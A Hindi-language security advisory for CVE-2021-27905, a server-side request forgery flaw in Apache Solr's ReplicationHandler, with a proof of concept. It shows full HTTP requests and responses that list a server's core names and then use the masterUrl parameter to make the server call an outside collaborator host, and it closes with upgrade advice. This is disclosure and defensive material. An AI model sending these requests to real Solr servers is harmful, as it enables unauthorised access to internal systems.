
[CVE-2021-27905] Apache Solr ReplicationHandler सर्वर साइड रिक्वेस्ट फोर्जरी (SSRF)
[CVE-2021-27905] Apache Solr ReplicationHandler सर्वर साइड रिक्वेस्ट फॉर्जरी (SSRF)
Hit Counter
Apache Solr (Searching On Lucene with Replication का संक्षिप्त रूप) एक मुफ्त, ओपन-सोर्स सर्च इंजन है जो Apache Lucene लाइब्रेरी पर आधारित है। यह Java में लिखा गया है। Apache Solr में RESTful XML/HTTP और JSON API हैं और कई प्रोग्रामिंग भाषाओं जैसे Java, Phyton, Ruby, C#, PHP और अन्य के लिए क्लाइंट लाइब्रेरी हैं, जिनका उपयोग वेबसाइटों, डेटाबेस, फ़ाइलों आदि के लिए सर्च-आधारित और बिग डेटा एनालिटिक्स एप्लिकेशन बनाने में किया जाता है।
Apache Solr के 8.8.2 से पहले के सभी संस्करण (7.0.0 से 7.7.3 और 8.0.0 से 8.8.1) सर्वर साइड रिक्वेस्ट फॉर्जरी (SSRF) कमजोरी के प्रति संवेदनशील हैं। इस कमजोरी का सफल शोषण करने से संगठन के भीतर अनधिकृत कार्यों या डेटा तक पहुंच हो सकती है, या तो कमजोर एप्लिकेशन में ही या अन्य बैकएंड सिस्टम पर जिनसे एप्लिकेशन संवाद कर सकता है।
ReplicationHandler (सामान्यतः एक Solr कोर के अंतर्गत /replication पर पंजीकृत) में एक masterUrl (साथ ही leaderUrl उपनाम) पैरामीटर है जिसका उपयोग किसी अन्य Solr कोर पर दूसरे ReplicationHandler को नामित करने के लिए किया जाता है ताकि इंडेक्स डेटा को स्थानीय कोर में प्रतिलिपि बनाया जा सके। SSRF कमजोरी को रोकने के लिए, Solr को इन पैरामीटर्स को उसी समान कॉन्फ़िगरेशन के विरुद्ध जांचना चाहिए जिसका उपयोग वह shards पैरामीटर के लिए करता है। इस कमजोरी को ठीक करने से पहले, उसने ऐसा नहीं किया।
प्रमाण की अवधारणा (PoC): इस कमजोरी का शोषण करने के लिए, हमलावर को Apache Solr पर कोर का नाम जानना होगा। इसीलिए कोर नाम/नामों का निर्धारण करने के लिए निम्नलिखित अनुरोध का उपयोग किया जा सकता है।
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Connection: close
{
"responseHeader":
{
"status": 0,
"QTime": 0
},
"initFailures":
{},
"status":
{
"beliana_dev":
{
"name": "beliana_dev",
"instanceDir": "/var/solr/data/beliana_dev",
"dataDir": "/var/solr/data/beliana_dev/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-04-20T13:49:06.569Z",
"uptime": 293226747
},
"beliana_prod":
{
"name": "beliana_prod",
"instanceDir": "/var/solr/data/beliana_prod",
"dataDir": "/var/solr/data/beliana_prod/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
},
"beliana_stage":
{
"name": "beliana_stage",
"instanceDir": "/var/solr/data/beliana_stage",
"dataDir": "/var/solr/data/beliana_stage/data/",
"config": "solrconfig.xml",
"schema": "schema.xml",
"startTime": "2021-02-02T06:07:19.668Z",
"uptime": 6973733649
}
}
}

कोर नाम निर्धारित करने के बाद, बस इनमें से एक का चयन करें और इस एंडपॉइंट पर अनुरोध करें: /solr/{core_name}/replication/?command=fetchindex&masterUrl={ssrf_here}
GET /solr/beliana_dev/replication/?command=fetchindex&masterUrl=http://4rwzji8a3i6xi33sjoml8qdda4gv4k.burpcollaborator.net HTTP/1.1
Host: vulnerablehost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: Sat, 01 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 23 Apr 2021 23:16:50 GMT
ETag: "1790105893b"
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">75</int>
</lst>
<str name="status">OK</str>
</response>


शमन: इस कमजोरी को रोकने के लिए निम्नलिखित में से कोई भी पर्याप्त है:
8.8.2 या उससे ऊपर के संस्करण में अपग्रेड करें।संदर्भ: